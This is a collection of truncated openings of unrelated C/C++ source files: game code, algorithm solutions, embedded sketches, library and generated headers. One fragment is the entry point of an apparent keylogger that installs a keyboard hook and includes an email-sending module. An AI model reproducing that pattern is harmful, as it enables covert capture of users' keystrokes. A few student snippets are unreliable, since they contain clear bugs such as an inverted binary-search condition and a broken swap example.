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/* * Copyright (c) 2006-2007 Erin Catto http://www.gphysics.com * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * Permission is granted to anyone to use this software for any purpose, ...
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//@+leo-ver=5-thin //@+node:gcross.20101224191604.1867: * @thin operator_space.cpp //@@language cplusplus //@+<< Includes >> //@+node:gcross.20101224191604.1868: ** << Includes >> #include "operator_space.hpp" //@-<< Includes >> namespace CodeSearch { //@+<< Usings >> //@+node:gcross.20101224191604.1873: ** << Using...
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#include <SDL2/SDL.h> #include "gameobject.h" #include "block.h" class player : public gameobject { public: enum status {stand_still, move_left, move_right, mid_air}; player(void); void move(void); void set_status(player::status); void jump(void); void set_falling(bool); bool on_block(block); void s...
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/* cheali-charger - open source firmware for a variety of LiPo chargers Copyright (C) 2013 Paweł Stawicki. All right reserved. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, eit...
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/******************************************************************** * $I * @Technic Support: <sdk@isurestar.com> * All right reserved, Sure-Star Coop. ********************************************************************/ #ifndef SS_LIDAR_API_H_ #define SS_LIDAR_API_H_ #include "ICD_LiDAR_API.h" #include...
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#include<iostream> #include<cstdio> #include<cstring> using namespace std; /* * next[]的含义:x[i-next[i]...i-1]=x[0...next[i]-1] * next[i]为满足x[i-z...i-1]=x[0...z-1]的最大z值(就是x的自身匹配) */ int Next[1010]; void kmp_pre(char x[],int m) { int i,j; j=Next[0]=-1; i=0; while(i<m) { while(-1!=j && x[i]!=x[j...
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#include <iostream> #include <vector> using namespace std; class Solution { public: vector<int> answer; int low, high; void recursive(int num) { if (num > high) return; else if (num >= low && num <= high) answer.push_back(num); int last = num % 10; if (last == 9) return; i...
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#include <bits/stdc++.h> using namespace std; int main() { int num, competidores, palomSeg; vector<pair<int, int>> competidorBolsa; vector<int> bolsas; cin >> num >> competidores >> palomSeg; for (int i = 0; i < num; ++i) { int pal; cin >> pal; bolsas.push_back(pal); } ...
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#include "stdafx.h" #include "TcpServer.h" TcpServer::TcpServer(unsigned short port, std::string ip, int backlog) { Create(); Bind(port, ip); Listen(backlog); } TcpServer::~TcpServer() { Socket::Close(); } TcpClient* TcpServer::Accept() { return new TcpClient(Socket::Accept()); }
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// // main.cpp // BYTESM2SPOJ3923 // // Created by Jigya Yadav on 16/08/14. // Copyright (c) 2014 Jigya Yadav. All rights reserved. // #include <iostream> #include <stdlib.h> #include <vector> #include <algorithm> #include <limits.h> #include <stdio.h> #include <string.h> #include <map> #include <sstream> #include...
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// // Created by junhui on 10/04/19. // #include <iostream> using namespace std; class Solution { public: // naive way, in this way N! is calculated, which is redundant. // time: O(N!) // space: O(1) int trailingZeroes(int n) { long long fact=1; while( n!=0 ){ fact *= n; ...
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#pragma once #include <boost/shared_ptr.hpp> #include <boost/intrusive_ptr.hpp> namespace aw { namespace core { namespace base { class ServiceLocator; typedef boost::shared_ptr<ServiceLocator> ServiceLocatorPtr; } // namespace base namespace scripting { class IScriptingService; typedef boost::intrusive_ptr<IScrip...
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/* Cosm sensor client This sketch connects an analog sensor to Cosm (http://www.cosm.com) using a Wiznet Ethernet shield. You can use the Arduino Ethernet shield, or the Adafruit Ethernet shield, either one will work, as long as it's got a Wiznet Ethernet module on board. This example has been updated to use...
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//////////////////////////////////////////////////////////////////////////// // // Copyright (C) 2005 // Packet Engineering, Inc. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification is not permitted unless authorized in writing by a duly // appointed officer of ...
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/* * The basic decision tree demo. * * Part of the Artificial Intelligence for Games system. * * Copyright (c) Ian Millington 2003-2006. All Rights Reserved. * * This software is distributed under licence. Use of this software * implies agreement with all terms and conditions of the accompanying * software lic...
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#include <vector> /* * Prime(n) stores all primes below n * Time : O(n * log log n) * Space: O(n) */ class Prime { int N; vector <int> value; vector <bool> isPrime; public: Prime(int n) { N = n; isPrime.resize(n, true); isPrime[0] = isPrime[1] = false; for (int i = 2...
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#include "Object_DynamicObj.h" void CDynamicObject::OnInitialize() { CStaticObject::OnInitialize(); }
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// @generated by tools/codegen/gen.py from DispatchKeyFunctions_inl.h // NB: The implementing C++ file is RegisterDispatchKey.cpp // The only #includes we need are for custom classes that have defaults in the C++ API #include <c10/core/MemoryFormat.h> #include <c10/core/Scalar.h> #include <ATen/core/Reduction.h> nam...
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/** * \brief SceneManager的实现 * * 这个类暂时没有用到 */ #include "ScenesServer.h" #include "GameService.h" #include "SceneNpcManager.h" std::map<WORD, stRangMap*> RangMapData; std::vector<DWORD> BmapBaseID; //using namespace Cmd::Session; using namespace H; ///SceneManager的唯一实例 SceneManager *SceneManager::sm(new SceneMan...
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#pragma once #include <cstdint> #include <string> namespace dcmcore { enum Endian { kLittleEndian, kBigEndian, }; // Return the endian type of the current platform. Endian PlatformEndian(); const std::uint32_t kUndefinedLength = 0xFFFFFFFF; typedef float float32_t; typedef double float64_t; template <typenam...
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#include <bits/stdc++.h> using ll = long long; #define mod ll(1e9+7) using namespace std; ll modex(ll a,ll b, ll m){ ll r=1; while(b){ if(b&1) r=(r*a)%m; a=(a*a)%m; b>>=1; } return r; } ll modinv(ll a,ll m){ return modex(a, m-2, m); } main(){ ll fact[1000001]; fact[0]=fact[1]=1; for(ll i=2;i<1000001;i+...
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#include "helperFunctions.h" using namespace std; HANDLE console = GetStdHandle(STD_OUTPUT_HANDLE); COORD cursorPosition; void gotoXY(int x, int y) { cursorPosition.X = x; cursorPosition.Y = y; SetConsoleCursorPosition(console, cursorPosition); } //display header of main menu void menuHeader(string title)...
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/////////////////////////////////////////////////////////////////////////////////////////////////// // utilsBase.h // // Standard ISO/IEC 114882, C++17 // // | version | release | Description // |------------|---------------|--------------------------------- // | ... | 2014 09 24 | // | 1 | ...
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// // Created by strohhalm on 18.06.15. // #include "INServerSocketIcmp.h" namespace nox { namespace network { INServerSocketIcmp::INServerSocketIcmp(boost::asio::ip::icmp::endpoint * endpoint) : INServerSocket<boost::asio::ip::icmp::endpoint>(endpoint) { m_Socket =...
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#include <iostream> #include <string> using namespace std; /* ORIGINAL PROBLEM A palindromic number reads the same both ways. The largest palindrome made from the product of two 2-digit numbers is 9009 = 91 × 99. Find the largest palindrome made from the product of two 3-digit numbers. Answer: 906609 */ // Time C...
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// Copyright CERN. This software is distributed under the terms of the GNU // General Public License v3 (GPL Version 3). // // See http://www.gnu.org/licenses/ for full licensing information. // // In applying this license CERN does not waive the privileges and immunities // granted to it by virtue of its status as an ...
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/* Copyright 2019 June Hanabi Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, s...
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#include <iostream> #include <cassert> #include <vector> using std::vector; int binary_search(const vector<int> &a, int x) { int left = 0, right = (int)a.size()-1; while (left>right) { int mid=left+(right-left)/2; if(a[mid]==x)return mid; else if(a[mid]>x)right=mid-1; else left=mid+1; } ret...
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/* Tilt Debouncer By Your Name(s) This sketch uses conditionals, operators, and a timing function called millis() to make sure the tilt switch is actually tilted and not just experiencing noise. This code is based on the "Better Debouncer" example by Lady Ada that you can find here: http://www.ladya...
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/******************************************************************************** ** Form generated from reading UI file 'dialog.ui' ** ** Created by: Qt User Interface Compiler version 5.8.0 ** ** WARNING! All changes made in this file will be lost when recompiling UI file! ********************************************...
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// RUN: %clang_cc1 -fsyntax-only -std=c++1y %s -verify namespace return_type_deduction_ok { auto l = [](auto a) ->auto { return a; }(2); auto l2 = [](auto a) ->decltype(auto) { return a; }(2); auto l3 = [](auto a) { return a; }(2); } namespace lambda_capturing { // FIXME: Once return type deduction is implemen...
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/* * * Copyright 2015 gRPC authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable la...
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/* * Copyright (c) 2010-2013, Rutgers, The State University of New Jersey * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above co...
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#include "explorer.h" ExplorerWidget::ExplorerWidget(MediaPlayer *player, QWidget *parent) : QTableView(parent), m_player(player) { setObjectName("ExplorerWidget"); model = new QDirModel(this); model->setSorting(QDir::DirsFirst | QDir::IgnoreCase); model->setFilter(QDir::NoDot | QDir::Dirs | QDir:...
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// This file was generated based on C:/Users/borde_000/AppData/Local/Fusetools/Packages/UnoCore/1.8.0/Backends/CPlusPlus/Uno/Memory.h. // WARNING: Changes might be lost if you edit this file directly. #pragma once #include <Uno/_config.h> struct uArray; struct uArrayType; struct uByRefType; struct uClassType; struct u...
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// -*- C++ -*- // // Copyright 2022 Dmitry Igrishin // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicabl...
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#pragma once #include "StdAfx.h" #include "LocalParameterization.h" #include "stdafx.h" #include"Point2d.h" #include"IDList.h" #include"PointTool.h" #include"PolarList.h" #include"IDSet.h" #include"PCBCGSolver.h" #include"Polyhedron.h" #include"Parameterization.h" #include "TriangleCoorTrans.h" #include"Triangle.h" #in...
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#ifndef LIGHTCOMPONENT_H_ #define LIGHTCOMPONENT_H_ #include "IComponent.h" #include "LightObject.h" #include <GL/glew.h> namespace FME { namespace Graphics { class LightComponent : public IComponent { public: LightComponent(const std::vector<std::shared_ptr<LightObject>>& lights); void SetShade...
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#include "WeiqiFactory.h" #include "WhitePieces.h" #include "BlackPieces.h" WeiqiFactory::WeiqiFactory() { std::shared_ptr<ChessPieces> sp(new WhitePieces()); vcp.push_back(sp); sp.reset(new BlackPieces()); vcp.push_back(sp); } ChessPieces* WeiqiFactory::GetChessPieces(std::string type) { if(vcp....
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///////////////////////////////////////////////////////////////////////////// // Name: src/univ/dialog.cpp // Author: Robert Roebling, Vaclav Slavik // Id: $Id$ // Copyright: (c) 2001 SciTech Software, Inc. (www.scitechsoft.com) // Licence: wxWindows licence //////////////////////////////////...
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// // Created by Nguyen Duc Dung on 2019-04-20. // #include "core.h" using namespace std; struct recManager void PrintOutput(const char* pRequest, void* pData, void* &pOutput, int N) { cout << pRequest << ":"; int* pInt = (int*)pOutput; for (int i = 0; i < N; ++i) { cout << ' ' << *pInt++; ...
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#include <HAIL.h> #include <SGE.h> #include "Pikachu.h" #include "PokemonFactory.h" using namespace SGE; const int kNumObstacles = 3; const int kNumWalls = 3; unsigned int kNumPikachus = 25; PokemonFactory factory; float pikachuSize = 128.0f; AIWorld aiWorld(factory, Agent::AgentType::kPIKACHU, kNumPikachus...
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#include <gmock/gmock.h> #include "src/Picture.hpp" #include "src/Rectangle.hpp" using namespace testing; TEST(LabTest, TestOK) { Picture myPicture; Rectangle rec1(2,4); myPicture.addShape(&rec1); ASSERT_THAT(myPicture.getTotalArea(), 8); } TEST(LabTest, TestNOK) { Picture myPicture...
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//============================================================================= // // 背景(バックグラウンド)処理 [FRONTBG.h] // Author : ABE YUUTAROU // //============================================================================= #include "main.h" //*****************************************************************************...
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// // Created by Wenxuan on 9/17/2016. // #include "graph/dfs_paths.h" #include <iostream> using namespace std; int main() { const auto graph = create_graph("tiny_graph.txt"); size_t src; while (cin >> src) { DFSPaths paths(graph, src); for (size_t dest = 0; dest < graph.vertex_count(); +...
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#include "Color.hpp" namespace experim { const Color Color::Red = Color(255, 0, 0, 255); const Color Color::Green = Color(0, 255, 0, 255); const Color Color::Blue = Color(0, 0, 255, 255); const Color Color::White = Color(255, 255, 255, 255); const Color Color::Black = Color(0, 0, 0, 255); const Color Color::Transpare...
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#include <iostream> #include <windows.h> #include "Helper.h" #include "KeyConstants.h" #include "Base64.h" #include "IO.h" #include "Timer.h" #include "SendMail.h" #include "KeybHook.h" using namespace std; int main() { MSG Msg; IO::MKDir(IO::GetOurPath(true)); InstallHook(); //Our main thread wh...
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#pragma once #include <Component/SimpleScene.h> #include <Component/Transform/Transform.h> #include <Core/GPU/Mesh.h> #include "CameraTema2.h" class Tema2 : public SimpleScene { public: Tema2(); ~Tema2(); void Init() override; Mesh* CreateMesh(const char* name, const std::vector<VertexFormat>& vertices, co...
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#pragma once #include "Projectile.h" #include <SDL.h> #include <SDL_image.h> class PlayerProj : public Projectile { public: PlayerProj(int x1, int y1, int x2, int y2, double speed, SDL_Renderer *renderer); };
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#include <iostream> #include <vector> using namespace std; class Solution { public: bool escapeGhosts(vector<vector<int>>& ghosts, vector<int>& target) { long dis = abs(target[0]) + abs(target[1]); for (vector<int>& p : ghosts) { long dx = abs (target[0] - p[0]); long dy = a...
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// This file is autogenerated. Do not modify it. // Including raw_animation.cc file. //----------------------------------------------------------------------------// // // // ozz-animation is hosted at http://github.com/guillaumeblanc/ozz-anim...
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/*--------------------------------*- C++ -*----------------------------------*\ | ========= | | | \\ / F ield | OpenFOAM: The Open Source CFD Toolbox | | \\ / O peration | Version: 2.3.0 | ...
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/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ /* * File: File.cpp * Author: Edward * * Created on 08 March 2016, 01:49 */ #include "../Header/File.h" int ...
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// // Created by cergey on 01.12.2021. // #include "../InterfaceUnit/LiveType.h" #include "../PLAYER.h" #ifndef UNTITLED3_THINGS_H #define UNTITLED3_THINGS_H class Things : public Object{ public: virtual ~Things()=default; virtual bool IsAvailable(); }; #endif //UNTITLED3_THINGS_H
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#include <msp430x14x.h> #include <math.h> #define CPU_F ((double)1000000) #define delay_us(x) __delay_cycles((long)(CPU_F*(double)x/1000000.0)) #define delay_ms(x) __delay_cycles((long)(CPU_F*(double)x/1000.0)) #define uchar unsigned char #define uint unsignded int #define res1 P4OUT|=BIT6; //复位,0复位 #define res0...
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#if !defined(AFX_DIALOG_MODIFYPASSWD_H__D106B839_8A39_4A71_B5D4_595DA2E03B45__INCLUDED_) #define AFX_DIALOG_MODIFYPASSWD_H__D106B839_8A39_4A71_B5D4_595DA2E03B45__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 // Dialog_ModifyPassWd.h : header file // #include "XPButton.h" ////////////////////////...
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/* * Copyright (C) 2007,2008 Alex Shulgin * * This file is part of png++ the C++ wrapper for libpng. PNG++ is free * software; the exact copying conditions are as follows: * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following condition...
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#ifndef BLOCK_H #define BLOCK_H #include<iostream> #include <vector> #include <utility> // for pair using namespace std; class Block { private: int x, y; // coordinates on the grid protected: vector<vector<char>> shape; public: void set_position(int x, int y) { this -> x = x; this -> y =...
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/*============================================================================= Copyright (c) 2001-2007 Joel de Guzman Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) ========================================...
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//************************************************************************* // Copyright (C) Security Innovation, LLC, 2002-2003 – All Rights Reserved. // // FILE: LogListView.h // // DESCRIPTION: Contains definition for the class LogListView // //=======================================================================...
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/*! @project Rune @file RuHelper_EventManager.h Copyright (c) 2004-2006 All rights reserved @author John Tang @date 2006/10/30 */ #ifndef _RUHELPER_EVENTMANAGER_H_ #define _RUHELPER_EVENTMANAGER_H_ #include "../Scene/Base/RuEntityBase.h" #include "../Rune.h" #include "../Rune Engine Audio.h" #pragma unmanaged...
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/** * ============================================================================= * Source Python * Copyright (C) 2012 Source Python Development Team. All rights reserved. * ============================================================================= * * This program is free software; you can redistribute it and/or...
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/* auto-host.h. Generated from config.in by configure. */ /* config.in. Generated from configure.ac by autoheader. */ /* Define if this compiler should be built as the offload target compiler. */ #ifndef USED_FOR_TARGET /* #undef ACCEL_COMPILER */ #endif /* Define if building universal (internal helper macro) */...
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#include <iostream> #include "header.h" int main(void) { Sales_data total; double price; if (std::cin >> total.bookNo >> total.units_sold >> price) { Sales_data trans; total.revenue = total.units_sold * price; while (std::cin >> trans.bookNo >> trans.units_sold >> price) { if (total.bookNo == trans.bookNo...
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// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "extensions/browser/api/system_display/display_info_provider.h" #include <stdint.h> #include "ash/common/ash_switches.h" #include "ash/display/...
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// 2d hist with weighted values #include <iostream> #include <fstream> #include <iomanip> #include <cmath> #include <string.h> // for memset #include <stdlib.h> /* atoi */ using namespace std; const int XRES = 100; const int YRES = 100; const double BURN_IN = 0.3; int main(int argc, char* argv[]) { int i, j, n...
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#include "mathlib3d.h" #include <gl/freeglut.h> #include <gl/gl.h> #include "raycast.h" bool rayCast(int x, int y,point3D corner,vec3D boxSize, point3D campos,vec3D rotation) { GLdouble pNear[3]; GLdouble pFar[3]; float inter[3]; // intersection point //get 3D position of mouse cursor on near and far clipping ...
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/* TEA5767 I2C FM Radio Library This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed i...
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#include <bits/stdc++.h> using namespace std; #define ll long long #define ld long double #define v(x) vector<x > #define vv(x) vector<vector<x > > #define it(x) std::vector<x>::iterator #define rit(x) std::vector<x>::reverse_iterator #define NMAX 6 struct Point { int x, y, z, id; double box_distance, r; ...
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#include <iostream> int main(){ std::ios_base::sync_with_stdio(false); std::string s; std::cin >> s; int n(0); bool hasZero(false); for(int p = 0; p < s.size(); p++){n = 10 * n + (s[p] - '0'); n %= 3; hasZero |= (s[p] == '0');} if(n == 0){std::cout << s << std::endl; return 0;} long...
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#include<iostream> int main() { int num1 = 20, num2 = 30; swap(&num1, &num2); count << num1 << ' ' << num2 << endl; char ch1 = 'A', ch2 << endl; double dbl1 = 1.111, dbl2 = 5.555; swap(&dbl1, &dbl2); cout << dbl1 << ' ' << dbl2 << endl; return 0; }
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/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 ...
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/* lib/wx/include/gtk2-unicode-static-3.0/wx/setup.h. Generated from setup.h.in by configure. */ /* This define (__WX_SETUP_H__) is used both to ensure setup.h is included * only once and to indicate that we are building using configure. */ #ifndef __WX_SETUP_H__ #define __WX_SETUP_H__ /* never undefine inline or c...
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//////////////////////////////////////////////////////////////////// //DeRap: Produced from mikero's Dos Tools Dll version 4.65 //Fri Oct 31 06:13:56 2014 : Source 'file' date Fri Oct 31 06:13:56 2014 //http://dev-heaven.net/projects/list_files/mikero-pbodll /////////////////////////////////////////////////////////////...
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#ifndef _ScriptGetGood_H_ #define _ScriptGetGood_H_ class ScriptGetGood : public Script { public: ScriptGetGood() { cmd = CMD_GET_GOOD; } ScriptGetGood(int iActorId, int iGoodsId, int iCount) { cmd = CMD_GET_GOOD; m_iActorId = iActorId; m_iGoodsId = iGoodsId; m_iCount = iCount; } int HandleScript()...
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// Copyright 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/bind.h" #include "base/macros.h" #include "mojo/application/application_runner_chromium.h" #include "mojo/gpu/gl_texture.h" #include "mojo/...
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#include <Windows.h> #include "gameStructs.h" #include <GL/glew.h> BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved ) { if(fdwReason == DLL_PROCESS_ATTACH) { // OutputDebugString("gameLayer: dll attached"); } return true; } FreeListAllocator* allocator = nullptr; Console*...
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#pragma once #include <string> #include "Generated Files/resource.h" #include <common/SettingsAPI/settings_objects.h> #include "registry_wrapper_interface.h" namespace PowerPreviewSettings { // PowerToy Windows Explorer File Preview Settings. class FileExplorerPreviewSettings { private: bool m_...
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/* IMPORTANT! This file is auto-generated each time you save your project - if you alter its contents, your changes may be overwritten! This is the header file that your files should include in order to get all the JUCE library headers. You should avoid including the JUCE headers directly in ...
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// https://www.luogu.org/problem/P4492 // [HAOI2018]苹果树 #include <bits/stdc++.h> using namespace std; const int MAXN = 2010; int N, P; int C[MAXN][MAXN]; int F[MAXN]; int add(int64_t a, int64_t b) { return (a + b) % P; } int mul(int64_t a, int64_t b) { return (a * b) % P; } void build() { C[0][0] = 1; for ...
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// Copyright Epic Games, Inc. All Rights Reserved. /*=========================================================================== Generated code exported from UnrealHeaderTool. DO NOT modify this manually! Edit the corresponding .h files instead! ========================================================================...
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// BLASTX IMPLEMENTIERUNG VON ANNKATRIN BRESSIN UND MARJAN FAIZI // SOFTWAREPROJEKT VOM 2.4. - 29.5.2012 // VERSION VOM 04.MAI.2013 #undef SEQAN_ENABLE_TESTING #define SEQAN_ENABLE_TESTING 1 #include "own_functions.h" /* // TEST GET_ALPHABET_FORCE -------------------------------------------------------------...
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#include <cstdio> #include <cstring> #include <algorithm> #include <vector> #include <iostream> #include <cassert> #include <cmath> #include <string> #include <queue> #include <set> #include <map> #include <cstdlib> using namespace std; #define TASKNAME "" void solve(int test_number); int main() { ios_base::syn...
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/*M/////////////////////////////////////////////////////////////////////////////////////// // // IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING. // // By downloading, copying, installing or using the software you agree to this license. // If you do not agree to this license, do not download, instal...
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/* * Copyright 2017 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "bookmaker.h" #include "SkOSFile.h" #include "SkOSPath.h" /* things to do if cap word is beginning of sentence, add it to table as lower-case word must have only...
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// Copyright (c) 2011-2015 The Uscoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #ifndef USCOIN_QT_ADDRESSBOOKPAGE_H #define USCOIN_QT_ADDRESSBOOKPAGE_H #include <QDialog> class AddressTableModel; class Pl...
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#pragma once #include <cv.h> #include <iostream> #include <vector> namespace fvision { /** Internal paramters of 1D camera * * 1. focal length * 2. principal point; assume lies in the center of the image * * K = [f, px; * 0, 1] * * ix = x * f / y + px * */ class Camera1DInternal {...
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#include "hw2_1_gray_level_resolution.hpp" void loadRawFile(cv::Mat &dst_img, std::string file_path, int width, int height) { std::FILE* f = std::fopen(file_path.c_str(), "rb"); // std::vector<char> buf(width*height); // char is trivally copyable unsigned char buf[width][height]; std::fread(&buf[0], sizeof ...
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/*! @file rx_fltk_glcanvas.h @brief FLTKによるOpenGLウィンドウクラス @author Makoto Fujisawa @date 2011-09 */ #ifndef _RX_FLTK_GLCANVAS_H_ #define _RX_FLTK_GLCANVAS_H_ //----------------------------------------------------------------------------- // インクルードライブラリ //-------------------------------------------------...
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#include <iostream> class TimeKeeper { public: TimeKeeper(); virtual ~TimeKeeper(); }; class AtomicClock : public TimeKeeper { }; class WatchClock : public TimeKeeper { }; class WristWatch : public TimeKeeper { }; int main() { return 0; }
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/// @file /// @brief Contains xtd::tunit::abort_error exception. /// @copyright Copyright (c) 2021 Gammasoft. All rights reserved. #pragma once #include <xtd/ustring.h> #include <stdexcept> /// @brief The xtd namespace contains all fundamental classes to access Hardware, Os, System, and more. namespace xtd { /// @br...
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#include <iostream> #include <cstring> //Effective Approach using namespace std; int main() { //freopen("j.txt", "r", stdin); int ocu[100005],n,m,i,temp;unsigned long long comF=0,comL=0; memset(ocu,-1,sizeof ocu); cin >>n; for(i=0 ; i < n ; i++) { scanf("%d",&temp); if(ocu[tem...
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// ai_bmp.cpp: implementation of the AIBitmapProcessor class. #include "camtypes.h" #include "ai_bmp.h" #include "page.h" #include "ai5_eps.h" #include "progress.h" #include "nodebmp.h" DECLARE_SOURCE("$Revision"); #define new CAM_DEBUG_NEW //////////////////////////////////////////////////////////////////////...
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